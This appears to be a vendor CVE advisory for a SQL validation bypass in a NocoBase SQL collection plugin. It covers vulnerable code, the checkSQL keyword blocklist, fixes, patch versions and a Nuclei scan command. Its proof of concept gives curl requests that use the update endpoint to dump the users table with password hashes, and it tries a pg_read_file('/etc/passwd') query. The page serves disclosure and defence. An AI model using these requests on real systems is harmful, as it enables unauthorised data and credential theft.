CVE-2026-41641 is a high-severity (CVSS 7.2) SQL Injection vulnerability in @nocobase/plugin-collection-sql. A fix is available for @nocobase/plugin-collection-sql — see the affected versions and patch details below.
NocoBase Vulnerable to SQL Validation Bypass via `sqlCollection:update` Missing `checkSQL` Call
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-41641.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-41641 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@nocobase/plugin-collection-sqlnpmDescription
Summary
The checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.
Affected component: @nocobase/plugin-collection-sql
Affected versions: <= 2.0.32 (confirmed)
Minimum privilege: Collection management permissions (pm.data-source-manager.collection-sql snippet)
Vulnerable Code
checkSQL is applied on create and execute
packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts
// Line 51-60 — execute action: checkSQL IS called
execute: async (ctx: Context, next: Next) => {
const { sql } = ctx.action.params.values || {};
try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
// ...
}
checkSQL is NOT applied on update
// Line 105-118 — update action: checkSQL IS NOT called
update: async (ctx: Context, next: Next) => {
const transaction = await ctx.app.db.sequelize.transaction();
try {
const { upRes } = await updateCollection(ctx, transaction);
// No checkSQL() call anywhere in this path!
const [collection] = upRes;
await collection.load({ transaction, resetFields: true });
await transaction.commit();
}
// ...
}
The checkSQL function itself
packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28
export const checkSQL = (sql: string) => {
const dangerKeywords = [
'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',
'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...
];
sql = sql.trim().split(';').shift();
if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
throw new Error('Only supports SELECT statements or WITH clauses');
}
if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
throw new Error('SQL statements contain dangerous keywords');
}
};
PoC
TOKEN="<admin_jwt_token>"
# Step 1: Create collection with valid SQL (passes checkSQL)
curl -s http://TARGET:13000/api/collections:create \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "exfil_collection",
"sql": "SELECT 1 as id",
"fields": [{"name": "id", "type": "integer"}],
"template": "sql"
}'
# Step 2: Verify checkSQL blocks dangerous SQL on create
curl -s http://TARGET:13000/api/collections:create \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name": "blocked", "sql": "SELECT pg_read_file('\''/etc/passwd'\'')", "fields": [], "template": "sql"}'
# Returns: 400 "SQL statements contain dangerous keywords"
# Step 3: Update with dangerous SQL — bypasses checkSQL entirely
curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection" \
-X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"sql": "SELECT * FROM users",
"fields": [
{"name": "id", "type": "integer"},
{"name": "email", "type": "string"},
{"name": "password", "type": "string"}
]
}'
# Returns: 200 OK — no validation!
# Step 4: Query the collection to exfiltrate data
curl -s "http://TARGET:13000/api/exfil_collection:list" \
-H "Authorization: Bearer $TOKEN"
# Returns: all rows from users table including password hashes
Impact
- Confidentiality: Arbitrary
SELECTqueries exfiltrate any table. Confirmed dump of theuserstable including password hashes. - Integrity/Availability: Although
checkSQLstrips after the first semicolon, dangerous single-statement operations likeSELECT ... INTO, subqueries with side effects, or database-specific functions (pg_read_file,LOAD_FILE,dblink) are all accessible through the update bypass. - Privilege escalation: On PostgreSQL,
dblinkenables lateral movement to other databases.pg_read_filereads arbitrary files from the database server filesystem.
Fix Suggestion
-
Add
checkSQL()to theupdateaction. The one-line fix:update: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; if (sql) { try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } } // ... existing code ... } -
Centralize validation in middleware rather than per-action. Apply
checkSQLin the resource middleware for any action that accepts asqlfield, so future actions cannot accidentally skip it. -
Strengthen the blocklist. The current list is missing
COPY(PostgreSQL file I/O and RCE),CREATE,ALTER,DROP,GRANT,SET, andEXECUTE. Consider switching to a parser-based allowlist that only permitsSELECTandWITH ... SELECTat the AST level rather than relying on keyword blocklisting.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @nocobase/plugin-collection-sql | all versions | 2.0.39npm install @nocobase/plugin-collection-sql@2.0.39 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nocobase/plugin-collection-sql, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @nocobase/plugin-collection-sql to 2.0.39 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-41641 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-41641 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-41641. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
How to detect CVE-2026-41641
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id cve-2026-41641 -u https://target- Template
- NocoBase - SQL Injection
- Severity
- high
- Remediation
- Upgrade NocoBase to version 2.0.39 or later
Template by ProjectDiscovery nuclei-templates (theamanrawat), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is CVE-2026-41641 in your dependencies?
O3 Security finds CVE-2026-41641 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.